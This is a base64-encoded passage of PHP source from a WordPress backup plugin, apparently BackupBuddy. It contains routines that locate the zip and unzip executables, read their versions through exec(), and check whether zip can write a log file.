B0aGVuIHdpbGwgcmV0dXJuIGVtcHR5IHN0cmluZyB3aGljaCBpcyB0aGUgc2FtZSBhcyBpZiB0aGUKCQkgKgljb21tYW5kIGlzIGJlaW5nIGFjY2Vzc2VkIHRocm91Z2ggUEFUSAoJCSAqCQoJCSAqCUByZXR1cm4JCXN0cmluZwkJCQlQYXRoIGZvciBjb21tYW5kLCB0cmltbWVkIC0gbWF5IGJlIGVtcHR5CgkJICoKCQkgKi8KCQlwcm90ZWN0ZWQgZnVuY3Rpb24gZ2V0X2NvbW1hbmRfcGF0aCggJGNvbW1hbmQgPSBzZWxmOjpDT01NQU5EX1VOS05PV05fUEFUSCApIHsKCQkKCQkJJHJlc3VsdCA9ICcnOwoJCQkKCQkJc3dpdGNoKCAkY29tbWFuZCApIHsKCQkJCgkJCQljYXNlIHNlbGY6OkNPTU1BTkRfWklQX1BBVEg6CgkJCQkKCQkJCQkvLyBJZiB0aGVyZSBpcyBhIGNvbW1vbiBwYXRoIHVzZSBpdCBvdGhlcndpc2UgbG9vayBmb3IgdGhlIGNvbW1hbmQgc3BlY2lmaWMgcGF0aAoJCQkJCWlmICggaXNzZXQoICR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3BhdGgnIF0gKSApIHsKCQkJCQkKCQkJCQkJJHJlc3VsdCA9IHRyaW0oICR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3BhdGgnIF0gKTsKCQkJCQkJCgkJCQkJfSBlbHNlaWYgKCBpc3NldCggJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdWyAnemlwJyBdWyAncGF0aCcgXSApICkgewoJCQkJCQoJCQkJCQkkcmVzdWx0ID0gdHJpbSggJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdWyAnemlwJyBdWyAncGF0aCcgXSApOwoJCQkJCX0KCQkJCQkKCQkJCQlicmVhazsKCQkJCQoJCQkJY2FzZSBzZWxmOjpDT01NQU5EX1VOWklQX1BBVEg6CgkJCQkKCQkJCQkvLyBJZiB0aGVyZSBpcyBhIGNvbW1vbiBwYXRoIHVzZSBpdCBvdGhlcndpc2UgbG9vayBmb3IgdGhlIGNvbW1hbmQgc3BlY2lmaWMgcGF0aAoJCQkJCWlmICggaXNzZXQoICR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3BhdGgnIF0gKSApIHsKCQkJCQkKCQkJCQkJJHJlc3VsdCA9IHRyaW0oICR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3BhdGgnIF0gKTsKCQkJCQkJCgkJCQkJfSBlbHNlaWYgKCBpc3NldCggJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdWyAndW56aXAnIF1bICdwYXRoJyBdICkgKSB7CgkJCQkJCgkJCQkJCSRyZXN1bHQgPSB0cmltKCAkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAncGFyYW0nIF1bICd1bnppcCcgXVsgJ3BhdGgnIF0gKTsKCQkJCQl9CgkJCQkJCgkJCQkJYnJlYWs7CgkJCQkKCQkJCWRlZmF1bHQ6CgkJCQkKCQkJCQkvLyBSZXR1cm4gdGhlIGVtcHR5IHN0cmluZyBkZWZhdWx0IGZvciBub3cKCQkJCgkJCX0KCgkJCXJldHVybiAkcmVzdWx0OwoJCQoJCX0KCQkKCQkvKioKCQkgKglzZXRfemlwX3ZlcnNpb24oKQoJCSAqCQoJCSAqCVRoaXMgc2V0cyB0aGUgemlwIHZlcnNpb24gaW5mb3JtYXRpb24gaW4gdGhlIG1ldGhvZCBkZXRhaWxzCgkJICoJVXNlICJ6aXAgLWgiIHRvIGdldCBhIHN0YW5kYXJkaXplZCBoZWxwIG91dHB1dCB0aGF0IGNvbnRhaW5zIHRoZSB6aXAgdmVyc2lvbi4KCQkgKglUaGVvcmV0aWNhbGx5IHdlIHNob3VsZCBiZSBhYmxlIHRvIHVzZSAiemlwIC12IiB0byBnZXQgemlwIHZlcnNpb24gYW5kIGJ1aWxkCgkJICoJZGV0YWlscyBidXQgcHJlLXYzIHppcCBydW5uaW5nICJ6aXAgLXYiIHdpbGwgbm90IHByb2R1Y2UgdGhlIHJlcXVpcmVkIG91dHB1dCBiZWNhdXNlCgkJICoJdGhlcmUgaXMgbm8gdHR5IGF0dGFjaGVkICh3aGVuIHJ1bm5pbmcgdGhyb3VnaCBleGVjKCkgb3IgZXF1aXZhbGVudCksIGluc3RlYWQKCQkgKglpdCB3aWxsIChvciBzaG91bGQpIHByb2R1Y2UgYSB6aXAgZmlsZS4gSG93ZXZlciwgaXQgaGFzIGJlZW4gZm91bmQgdGhhdCBldmVuIHRoaXMKCQkgKglpcyBub3QgcmVsaWFibGUgYW5kIHNvbWUgaW5zdGFsbGF0aW9ucyBqdXN0IHNlZW0gdG8gZnJlZXplIHdoZW4gInppcCAtdiIgaXMgcnVuCgkJICoJd2hpY2ggYm9ya3MgdGhlIHdob2xlIHByb2Nlc3MuCgkJICoJU28gd2UgdXNlICJ6aXAgLWgiIGZpcnN0IHRvIGdldCB0aGUgYmFzaWMgemlwIHZlcnNpb24gaW5mb3JtYXRpb24gYW5kIGFzIGEgZnV0dXJlCgkJICoJZXh0ZW5zaW9uIGlmIGl0IGlzIHZlcnNpb24gMy4wKyAoMy4wIGlzIGN1cnJlbnQgYW5kIDMuMSBoYXNuJ3QgYmVlbiBvZmZpY2lhbGx5CgkJICoJcmVsZWFzZWQpIHdlIG1heSB0aGVuIHJ1biAiemlwIC12IiB0byBnZXQgdGhlIGV4dGVuZGVkIHZlcnNpb24gYW5kIGJ1aWxkIGluZm9ybWF0aW9uLgoJCSAqCQoJCSAqCUBwYXJhbQkJaW50CQkkbWFqb3IJCVZhbHVlIHRvIHVzZSBpZiBub25lIGZvdW5kIG9yIG92ZXJyaWRlIHRydWUKCQkgKglAcGFyYW0JCWludAkJJG1pbm9yCQlWYWx1ZSB0byB1c2UgaWYgbm9uZSBmb3VuZCBvciBvdmVycmlkZSB0cnVlCgkJICoJQHBhcmFtCQlib29sCSRvdmVycmlkZQlUcnVlIHRvIHVzZSBwYXNzZWQgaW4gdmFsdWUocykgcmVnYXJkbGVzcwoJCSAqCUByZXR1cm4JCW9iamVjdAkJCQlUaGlzIG9iamVjdCByZWZlcmVuY2UKCQkgKgoJCSAqLwoJCXByb3RlY3RlZCBmdW5jdGlvbiBzZXRfemlwX3ZlcnNpb24oICRtYWpvciA9IDAsICRtaW5vciA9IDAsICRvdmVycmlkZSA9IGZhbHNlICkgewoJCQoJCQkkZXhpdGNvZGUgPSAxMjc7CgkJCSRvdXRwdXQgPSBhcnJheSgpOwoJCQkkemlwcGF0aCA9ICcnOwoJCQkkY29tbWFuZCA9ICcnOwoJCQkkbWF0Y2hlcyA9IGFycmF5KCk7CgkJCSRpbmZvID0gJyc7CgkJCgkJCS8vIElmIHdlIGhhdmUgYmVlbiBnaXZlbiBhIHZhbHVlIHRvIHVzZSB3aXRoIG92ZXJyaWRlIHRoZW4ganVzdCB1c2UgaXQKCQkJaWYgKCAoICggaXNfaW50KCAkbWFqb3IpICkgJiYgKCAwIDwgJG1ham9yICkgJiYgKCBpc19pbnQoICRtaW5vciApICkgKSAmJiAoIHRydWUgPT09ICRvdmVycmlkZSApICkgewoJCQkKCQkJCS8vIFNldCB0aGUgZ2l2ZW4gdmVyc2lvbiByZWdhcmRsZXNzCgkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAncGFyYW0nIF1bICd6aXAnIF1bICd2ZXJzaW9uJyBdID0gYXJyYXkoICdtYWpvcicgPT4gJG1ham9yLCAnbWlub3InID0+ICRtaW5vciApOwoJCQkJcmV0dXJuICR0aGlzOyAKCQkJCgkJCX0KCQkJCgkJCS8vIEdldCB0aGUgY29tbWFuZCBwYXRoIGZvciB0aGUgemlwIGNvbW1hbmQgLSBzaG91bGQgcmV0dXJuIGEgdHJpbW1lZCBzdHJpbmcKCQkJJHppcHBhdGggPSAkdGhpcy0+Z2V0X2NvbW1hbmRfcGF0aCggc2VsZjo6Q09NTUFORF9aSVBfUEFUSCApOwoJCQkKCQkJLy8gQWRkIHRoZSB0cmFpbGluZyBzbGFzaCBpZiByZXF1aXJlZAoJCQkkY29tbWFuZCA9ICR0aGlzLT5zbGFzaGlmeSggJHppcHBhdGggKSAuICd6aXAgLWgnOwoJCQlAZXhlYyggJGNvbW1hbmQsICRvdXRwdXQsICRleGl0Y29kZSApOwoJCQkKCQkJaWYgKCAwID09PSAkZXhpdGNvZGUgKSB7CgkJCQoJCQkJLy8gRXhwZWN0IGZvcm1hdCBsaWtlOiBaaXAgMy4wIChKdWx5IDV0aCAyMDA4KS4uLgoJCQkJLy8gICAgICAgICAgICAgICAgICAgICBaaXAgMy4xYyBCRVRBIChKdW5lIDIybmQgMjAxMCkuLi4KCQkJCS8vIFRoZSBtYXRjaCBzaG91bGQgdGFrZSBvbmx5IHRoZSBtYWpvci9taW5vciBkaWdpdHMgYW5kIGlnbm9yZSBhbnkgZm9sbG93aW5nIGFscGhhCgkJCQkvLyBNYXkgZXh0ZW5kIHRvIGNhcHR1cmUgdGhlIGFscGhhIGFuZCBhbHNvIHdoZXRoZXIgQkVUQSBpbmRpY2F0ZWQgYnV0IG5vdCBjdXJyZW50bHkKCQkJCS8vIHJlcXVpcmVkLgoJCQkJZm9yZWFjaCAoICRvdXRwdXQgYXMgJGxpbmUgKSB7CgoJCQkJCWlmICggcHJlZ19tYXRjaCggJy9eXHMqKHppcClccysoP1A8bWFqb3I+XGQpXC4oP1A8bWlub3I+XGQrKS9pJywgJGxpbmUsICRtYXRjaGVzICkgKSB7CgkJCQkJCgkJCQkJCSRtYWpvciA9IChpbnQpJG1hdGNoZXNbICdtYWpvcicgXTsKCQkJCQkJJG1pbm9yID0gKGludCkkbWF0Y2hlc1sgJ21pbm9yJyBdOwoJCQkJCQlicmVhazsKCQkJCQkKCQkJCQl9CgkJCQkKCQkJCX0KCQkJCQoJCQkJLy8gSWYgd2UgZGlkbid0IG1hdGNoIGEgdmVyc2lvbiB0aGVuIHN1c3BlY3QgdGhpcyBpcyBzdGlsbCBub3QgdmFsaWQgdmVyc2lvbiBpbmZvCi8vIAkJCQlpZiAoICFlbXB0eSggJG1hdGNoZXMgKSApIHsKLy8gCQkJCQovLyAJCQkJCS8vIFdlIGRpZCBtYXRjaCBhIHZlcnNpb24gc28gY2hlY2sgaWYgd2UgaGF2ZSBhIGNoYW5jZSBvZiBnZXR0aW5nIGFkZGl0aW9uYWwgaW5mb3JtYXRpb24KLy8gCQkJCQlpZiAoIDMgPT09ICRtYWpvciApIHsKLy8gCQkJCQkKLy8gCQkJCQkJJGV4aXRjb2RlID0gMTI3OwovLyAJCQkJCQkkb3V0cHV0ID0gYXJyYXkoKTsKLy8gCQkJCQkKLy8gCQkJCQkJLy8gQWRkIHRoZSB0cmFpbGluZyBzbGFzaCBpZiByZXF1aXJlZAovLyAJCQkJCQkkY29tbWFuZCA9ICR0aGlzLT5zbGFzaGlmeSggJHppcHBhdGggKSAuICd6aXAgLXYnOwovLyAJCQkJCQlAZXhlYyggJGNvbW1hbmQsICRvdXRwdXQsICRleGl0Y29kZSApOwovLyAJCQkJCQkKLy8gCQkJCQkJaWYgKCAwID09PSAkZXhpdGNvZGUgKSB7Ci8vIAkJCQkKLy8gCQkJCQkJCS8vIE5vdyBjcmVhdGUgdGhlIGluZm8gc3RyaW5nCi8vIAkJCQkJCQkvLyBOb3RlOiBub3Qgd29ydGggY29tcHJlc3NpbmcgYXMgdGhhdCBnaXZlcyBhIGxhcmdlciBzdHJpbmcgYWZ0ZXIgY29udmVydGluZwovLyAJCQkJCQkJLy8gZnJvbSBiaW5hcnkgdG8gaGV4IGZvcm1hdCBmb3Igc2F2aW5nCi8vIAkJCQkJCQkkaW5mbyA9IGltcGxvZGUoIFBIUF9FT0wsICRvdXRwdXQgKTsKLy8gCQkJCQkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3ppcCcgXVsgJ2luZm8nIF0gPSAkaW5mbzsKLy8gCQkJCQkJCi8vIAkJCQkJCX0KLy8gCQkJCQkKLy8gCQkJCQl9Ci8vIAkJCQkKLy8gCQkJCX0KCQkJCgkJCX0KCgkJCS8vIE5vdyB1c2UgZWl0aGVyIHdoYXQgd2UgZ290IG9yIHdoYXQgd2Ugd2VyZSBnaXZlbi4uLgoJCQlpZiAoICggaXNfaW50KCAkbWFqb3IpICkgJiYgKCAwIDwgJG1ham9yICkgJiYgKCBpc19pbnQoICRtaW5vciApICkgKSB7CgkJCQoJCQkJLy8gU2V0IHRoZSBnaXZlbiB2ZXJzaW9uIHJlZ2FyZGxlc3MKCQkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3ppcCcgXVsgJ3ZlcnNpb24nIF0gPSBhcnJheSggJ21ham9yJyA9PiAkbWFqb3IsICdtaW5vcicgPT4gJG1pbm9yICk7CgkJCQoJCQl9CgkJCQoJCQlyZXR1cm4gJHRoaXM7IAoJCQoJCX0KCQkKCQkvKioKCQkgKglnZXRfemlwX3ZlcnNpb24oKQoJCSAqCQoJCSAqCVRoaXMgZ2V0cyB0aGUgemlwIHZlcnNpb24gYXMgYW4gYXJyYXkgb2YgbWFqb3IvbWlub3Igb3IgcmV0dXJucyBmYWxzZSBpZiBub3Qga25vd24KCQkgKglUT0RPOiBQYXNzIHBhcmFtZXRlciB0byBzcGVjaWZ5IHdoYXQgZm9ybWF0IHRvIHJldHVybiBpbgoJCSAqCQoJCSAqCUByZXR1cm4JCWFycmF5fGJvb2wJCQkJUmV0dXJucyBhcnJheShtYWpvciwgbWlub3IpIG9yIGZhbHNlIGlmIG5vdCBrbm93bgoJCSAqCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIGdldF96aXBfdmVyc2lvbigpIHsKCQkKCQkJJHJlc3VsdCA9ICR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3ppcCcgXVsgJ3ZlcnNpb24nIF07CgkJCQoJCQlpZiAoIDAgPT09ICRyZXN1bHRbICdtYWpvcicgXSApIHsKCQkJCgkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkKCQkJfQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQoJCX0KCQkKCQkvKioKCQkgKglzZXRfdW56aXBfdmVyc2lvbigpCgkJICoJCgkJICoJVGhpcyBzZXRzIHRoZSB1bnppcCB2ZXJzaW9uIGluZm9ybWF0aW9uIGluIHRoZSBtZXRob2QgZGV0YWlscwoJCSAqCQoJCSAqCUBwYXJhbQkJaW50CQkkbWFqb3IJCVZhbHVlIHRvIHVzZSBpZiBub25lIGZvdW5kIG9yIG92ZXJyaWRlIHRydWUKCQkgKglAcGFyYW0JCWludAkJJG1pbm9yCQlWYWx1ZSB0byB1c2UgaWYgbm9uZSBmb3VuZCBvciBvdmVycmlkZSB0cnVlCgkJICoJQHBhcmFtCQlib29sCSRvdmVycmlkZQlUcnVlIHRvIHVzZSBwYXNzZWQgaW4gdmFsdWUocykgcmVnYXJkbGVzcwoJCSAqCUByZXR1cm4JCW9iamVjdAkJCQlUaGlzIG9iamVjdCByZWZlcmVuY2UKCQkgKgoJCSAqLwoJCXByb3RlY3RlZCBmdW5jdGlvbiBzZXRfdW56aXBfdmVyc2lvbiggJG1ham9yID0gMCwgJG1pbm9yID0gMCwgJG92ZXJyaWRlID0gZmFsc2UgKSB7CgkJCgkJCSRleGl0Y29kZSA9IDA7CgkJCSRvdXRwdXQgPSBhcnJheSgpOwoJCQkkemlwcGF0aCA9ICcnOwoJCQkkY29tbWFuZCA9ICcnOwoJCQkkbWF0Y2hlcyA9IGFycmF5KCk7CgkJCgkJCS8vIElmIHdlIGhhdmUgYmVlbiBnaXZlbiBhIHZhbHVlIHRvIHVzZSB3aXRoIG92ZXJyaWRlIHRoZW4ganVzdCB1c2UgaXQKCQkJaWYgKCAoICggaXNfaW50KCAkbWFqb3IpICkgJiYgKCAwIDwgJG1ham9yICkgJiYgKCBpc19pbnQoICRtaW5vciApICkgKSAmJiAoIHRydWUgPT09ICRvdmVycmlkZSApICkgewoJCQkKCQkJCS8vIFNldCB0aGUgZ2l2ZW4gdmVyc2lvbiByZWdhcmRsZXNzCgkJCQkkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAncGFyYW0nIF1bICd1bnppcCcgXVsgJ3ZlcnNpb24nIF0gPSBhcnJheSggJ21ham9yJyA9PiAkbWFqb3IsICdtaW5vcicgPT4gJG1pbm9yICk7CgkJCQlyZXR1cm4gJHRoaXM7IAoJCQkKCQkJfQoJCQkKCQkJLy8gR2V0IHRoZSBjb21tYW5kIHBhdGggZm9yIHRoZSB1bnppcCBjb21tYW5kIC0gc2hvdWxkIHJldHVybiBhIHRyaW1tZWQgc3RyaW5nCgkJCSR6aXBwYXRoID0gJHRoaXMtPmdldF9jb21tYW5kX3BhdGgoIHNlbGY6OkNPTU1BTkRfVU5aSVBfUEFUSCApOwoJCQkKCQkJLy8gQWRkIHRoZSB0cmFpbGluZyBzbGFzaCBpZiByZXF1aXJlZAoJCQkkY29tbWFuZCA9ICR0aGlzLT5zbGFzaGlmeSggJHppcHBhdGggKSAuICd1bnppcCAtdic7CQoJCQlAZXhlYyggJGNvbW1hbmQsICRvdXRwdXQsICRleGl0Y29kZSApOwoJCQkKCQkJaWYgKCAwID09PSAkZXhpdGNvZGUgKSB7CgkJCQoJCQkJLy8gU2hvdWxkIGJlIGdvb2Qgb3V0cHV0IHRvIHRyeSBhdCBsZWFzdAoJCQkJZm9yZWFjaCAoICRvdXRwdXQgYXMgJGxpbmUgKSB7CgoJCQkJCWlmICggcHJlZ19tYXRjaCggJy9eXHMqKHVuemlwKVxzKyg/UDxtYWpvcj5cZClcLig/UDxtaW5vcj5cZCspL2knLCAkbGluZSwgJG1hdGNoZXMgKSApIHsKCQkJCQkKCQkJCQkJJG1ham9yID0gKGludCkkbWF0Y2hlc1sgJ21ham9yJyBdOwoJCQkJCQkkbWlub3IgPSAoaW50KSRtYXRjaGVzWyAnbWlub3InIF07CgkJCQkJCWJyZWFrOwoJCQkJCQoJCQkJCX0KCQkJCQoJCQkJfQoJCQkKCQkJCS8vIE5vdyBjcmVhdGUgdGhlIGluZm8gc3RyaW5nCgkJCQkvLyBOb3RlOiBub3Qgd29ydGggY29tcHJlc3NpbmcgYXMgdGhhdCBnaXZlcyBhIGxhcmdlciBzdHJpbmcgYWZ0ZXIgY29udmVydGluZwoJCQkJLy8gZnJvbSBiaW5hcnkgdG8gaGV4IGZvcm1hdCBmb3Igc2F2aW5nCgkJCQkkaW5mbyA9IGltcGxvZGUoIFBIUF9FT0wsICRvdXRwdXQgKTsKCQkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3VuemlwJyBdWyAnaW5mbycgXSA9ICRpbmZvOwoJCQkJCgkJCX0KCQkJCgkJCS8vIE5vdyB1c2UgZWl0aGVyIHdoYXQgd2UgZ290IG9yIHdoYXQgd2Ugd2VyZSBnaXZlbi4uLgoJCQlpZiAoICggaXNfaW50KCAkbWFqb3IpICkgJiYgKCAwIDwgJG1ham9yICkgJiYgKCBpc19pbnQoICRtaW5vciApICkgKSB7CgkJCQoJCQkJLy8gU2V0IHRoZSBnaXZlbiB2ZXJzaW9uIHJlZ2FyZGxlc3MKCQkJCSR0aGlzLT5fbWV0aG9kX2RldGFpbHNbICdwYXJhbScgXVsgJ3VuemlwJyBdWyAndmVyc2lvbicgXSA9IGFycmF5KCAnbWFqb3InID0+ICRtYWpvciwgJ21pbm9yJyA9PiAkbWlub3IgKTsKCQkJCgkJCX0KCQkJCgkJCXJldHVybiAkdGhpczsgCgkJCgkJfQoJCQoJCS8qKgoJCSAqCWdldF91bnppcF92ZXJzaW9uKCkKCQkgKgkKCQkgKglUaGlzIGdldHMgdGhlIHVuemlwIHZlcnNpb24gYXMgYW4gYXJyYXkgb2YgbWFqb3IvbWlub3Igb3IgcmV0dXJucyBmYWxzZSBpZiBub3Qga25vd24KCQkgKglUT0RPOiBQYXNzIHBhcmFtZXRlciB0byBzcGVjaWZ5IHdoYXQgZm9ybWF0IHRvIHJldHVybiBpbgoJCSAqCQoJCSAqCUByZXR1cm4JCWFycmF5fGJvb2wJCQkJUmV0dXJucyBhcnJheShtYWpvciwgbWlub3IpIG9yIGZhbHNlIGlmIG5vdCBrbm93bgoJCSAqCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIGdldF91bnppcF92ZXJzaW9uKCkgewoJCQoJCQkkcmVzdWx0ID0gJHRoaXMtPl9tZXRob2RfZGV0YWlsc1sgJ3BhcmFtJyBdWyAndW56aXAnIF1bICd2ZXJzaW9uJyBdOwoJCQkKCQkJaWYgKCAwID09PSAkcmVzdWx0WyAnbWFqb3InIF0gKSB7CgkJCQoJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCgkJCX0KCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQkKCQl9CgkJCgkJLyoqCgkJICoJZ2V0X3ppcF9zdXBwb3J0c19sb2dmaWxlKCkKCQkgKgkKCQkgKglUaGlzIHJldHVybnMgdHJ1ZSBpZiB0aGUgemlwIGluIHVzZSBpcyBhYmxlIHRvIHN1cHBvcnQgbG9nZmlsZSB1c2FnZSBmb3IKCQkgKglsb2dnaW5nIHByb2dyZXNzIG9mIHppcCBvcGVyYXRpb24KCQkgKgkKCQkgKglAcmV0dXJuCQlib29sCQkJCVRydWUgaWYgbG9nZmlsZSBzdXBwb3J0ZWQsIG90aGVyd2lzZSBmYWxzZQoJCSAqCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIGdldF96aXBfc3VwcG9ydHNfbG9nX2ZpbGUoKSB7CgkJCgkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCgkJCS8vIEN1cnJlbnRseSBjaGVjayBiYXNlZCBqdXN0IG9uIHRoZSB6aXAgbWFqb3IgdmVyc2lvbgoJCQkvLyBUT0RPOiBkZWNpZGUgaWYgYmV0dGVyIHRvIHJlc3BvbmQgYmFzZWQgb24gdGhlIGF2YWlsYWJsZSBvcHRpb25zCgkJCWlmICggMyA8PSAkdGhpcy0+X21ldGhvZF9kZXRhaWxzWyAncGFyYW0nIF1bICd6aXAnIF1bICd2ZXJzaW9uJyBdWyAnbWFqb3InIF0gKSB7CgkJCQoJCQkJJHJlc3VsdCA9IHRydWU7CgkJCQkKCQkJfQoJCQkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCgkJfQoJCQoJCS8qKgoJCSAqCWlzX2F2YWlsYWJsZSgpCgkJICoJCgkJICoJQSBmdW5jdGlvbiB0aGF0IHRlc3RzIGZvciB0aGUgYXZhaWxhYmlsaXR5IG9mIHRoZSBzcGVjaWZpYyBtZXRob2QgYW5kIGl0cyBhdmFpbGFibGUgbW9kZXMuIFdpbGwgdGVzdCBmb3IKCQkgKiAgbXVsdGlwbGUgbW9kZXMgKHppcCAmIHVuemlwKSBhbmQgb25seSByZXR1cm4gZmFsc2UgaWYgbmVpdGhlciBpcyBhdmFpbGFibGUuIEFjdHVhbCBhdmFpbGFibGUgbW9kZXMgd2lsbAoJCSAqICBiZSBpbmRpY2F0ZWQgaW4gdGhlIG1ldGhvZCBhdHRyaWJ1dGVzLgoJCSAqCgkJICogIE5vdGU6IGluIHRoaXMgY2FzZSBhcyB0aGUgemlwIGFuZCB1bnppcCBjYXBhYmlsaXRpZXMgYXJlIHByb3ZpZGVkIGJ5IGV4dGVybmFsIGNvbW1hbmRzIHdlIG5lZWQgdG8gdGVzdAoJCSAqICBmb3IgdGhlIGF2YWlsYWJpbGl0eSBvZiBib3RoIG9mIHRoZW0gYW5kIHNldCBhdHRyaWJ1dGVzIGFjY29yZGluZ2x5CgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJJHRlbXBkaXIJVGVtcG9yYXJ5IGRpcmVjdG9yeSB0byB1c2UgZm9yIGFueSB0ZXN0IGZpbGVzIChtdXN0IGJlIHdyaXRlYWJsZSkKCQkgKglAcmV0dXJuCQlib29sCQkJCVRydWUgaWYgdGhlIG1ldGhvZCBpcyBhdmFpbGFibGUgZm9yIGF0IGxlYXN0IG9uZSBtb2RlLCBmYWxzZSBvdGhlcndpc2UKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBpc19hdmFpbGFibGUoICR0ZW1wZGlyICkgewoJCQoJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCgkJCS8vIFRoaXMgaXMganVzdCBhIG5pY2V0eSBmb3Igbm93IHVudGlsIHBsYXRmb3JtIGhhbmRsaW5nIGlzIGZ1bGx5IHJlc29sdmVkCgkJCXN3aXRjaCAoICR0aGlzLT5nZXRfb3NfdHlwZSgpICkgewoJCQkJY2FzZSBzZWxmOjpPU19UWVBFX05JWDoKCQkJCQkkcmVzdWx0ID0gJHRoaXMtPmlzX2F2YWlsYWJsZV9nZW5lcmljKCAkdGVtcGRpciApOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSBzZWxmOjpPU19UWVBFX1dJTjoKCQkJCQkkcmVzdWx0ID0gJHRoaXMtPmlzX2F2YWlsYWJsZV9nZW5lcmljKCAkdGVtcGRpciApOwoJCQkJCWJyZWFrOwoJCQkJZGVmYXVsdDoKCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCX0KCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQkJCSAgCQoJCX0KCQkKCQkvKioKCQkgKglpc19hdmFpbGFibGVfZ2VuZXJpYygpCgkJICoJCgkJICoJQSBmdW5jdGlvbiB0aGF0IHRlc3RzIGZvciB0aGUgYXZhaWxhYmlsaXR5IG9mIHRoZSBzcGVjaWZpYyBtZXRob2QgYW5kIGl0cyBhdmFpbGFibGUgbW9kZXMuIFdpbGwgdGVzdCBmb3IKCQkgKiAgbXVsdGlwbGUgbW9kZXMgKHppcCAmIHVuemlwKSBhbmQgb25seSByZXR1cm4gZmFsc2UgaWYgbmVpdGhlciBpcyBhdmFpbGFibGUuIEFjdHVhbCBhdmFpbGFibGUgbW9kZXMgd2lsbAoJCSAqICBiZSBpbmRpY2F0ZWQgaW4gdGhlIG1ldGhvZCBhdHRyaWJ1dGVzLgoJCSAqCgkJICogIE5vdGU6IGluIHRoaXMgY2FzZSBhcyB0aGUgemlwIGFuZCB1bnppcCBjYXBhYmlsaXRpZXMgYXJlIHByb3ZpZGVkIGJ5IGV4dGVybmFsIGNvbW1hbmRzIHdlIG5lZWQgdG8gdGVzdAoJCSAqICBmb3IgdGhlIGF2YWlsYWJpbGl0eSBvZiBib3RoIG9mIHRoZW0gYW5kIHNldCBhdHRyaWJ1dGVzIGFjY29yZGluZ2x5CgkJICoJCgkJICoJQHBhcmFtCQlzdHJpbmcJJHRlbXBkaXIJVGVtcG9yYXJ5IGRpcmVjdG9yeSB0byB1c2UgZm9yIGFueSB0ZXN0IGZpbGVzIChtdXN0IGJlIHdyaXRlYWJsZSkKCQkgKglAcmV0dXJuCQlib29sCQkJCVRydWUgaWYgdGhlIG1ldGhvZCBpcyBhdmFpbGFibGUgZm9yIGF0IGxlYXN0IG9uZSBtb2RlLCBmYWxzZSBvdGhlcndpc2UKCQkgKgoJCSAqLwoJCXByb3RlY3RlZCBmdW5jdGlvbiBpc19hdmFpbGFibGVfZ2VuZXJpYyggJHRlbXBkaXIgKSB7CgkJCgkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJJHBlbmRpbmdfcmVzdWx0ID0gZmFsc2U7CgkJCSRmb3VuZF96aXAgPSBmYWxzZTsKCQkJCgkJCS8vIFRoaXMgaXMgYSBzYWZldHkgdmFsdWUgaW4gY2FzZSBleGVjKCkgZmFpbHMgLSBob3BlZnVsbHkgaXQgd2lsbCBub3QgdXBkYXRlIHRoaXMKCQkJJGV4ZWNfZXhpdF9jb2RlID0gMTI3OwoJCQkKCQkJaWYgKCBmdW5jdGlvbl9leGlzdHMoICdleGVjJyApICkgewoJCQkKCQkJCSRjYW5kaWRhdGVfcGF0aHMgPSAkdGhpcy0+Z2V0X2V4ZWN1dGFibGVfcGF0aHMoKTsKCQkJCQoJCQkJLy8gV2UgYXJlIHNlYXJjaGluZyBmb3IgemlwIHVzaW5nIHRoZSBsaXN0IG9mIHBvc3NpYmxlIHBhdGhzCgkJCQl3aGlsZSAoICggZmFsc2UgPT0gJGZvdW5kX3ppcCApICYmICggIWVtcHR5KCAkY2FuZGlkYXRlX3BhdGhzICkgKSApIHsKCQkJCQoJCQkJCS8vIE1ha2Ugc3VyZSBpdCBpcyBjbGVhbiBvZiBsZWFkaW5nL3RyYWlsaW5nIHdoaXRlc3BhY2UKCQkJCQkkcGF0aCA9IHRyaW0oIGFycmF5X3NoaWZ0KCAkY2FuZGlkYXRlX3BhdGhzICkgKTsKCQkJCQkKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCAnRXhlYyB0ZXN0ICh6aXApIHRyeWluZyBleGVjdXRhYmxlIHBhdGg6JywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICcgYCcgLiAkcGF0aCAuICdgLicgKTsKCgkJCQkJJHRlc3RfZmlsZSA9ICR0ZW1wZGlyIC4gJ3RlbXBfdGVzdF8nIC4gdW5pcWlkKCkgLiAnLnppcCc7CgkJCQkJCgkJCQkJJGNvbW1hbmQgPSAkdGhpcy0+c2xhc2hpZnkoICRwYXRoICkgLiAnemlwJyAuICIgJ3skdG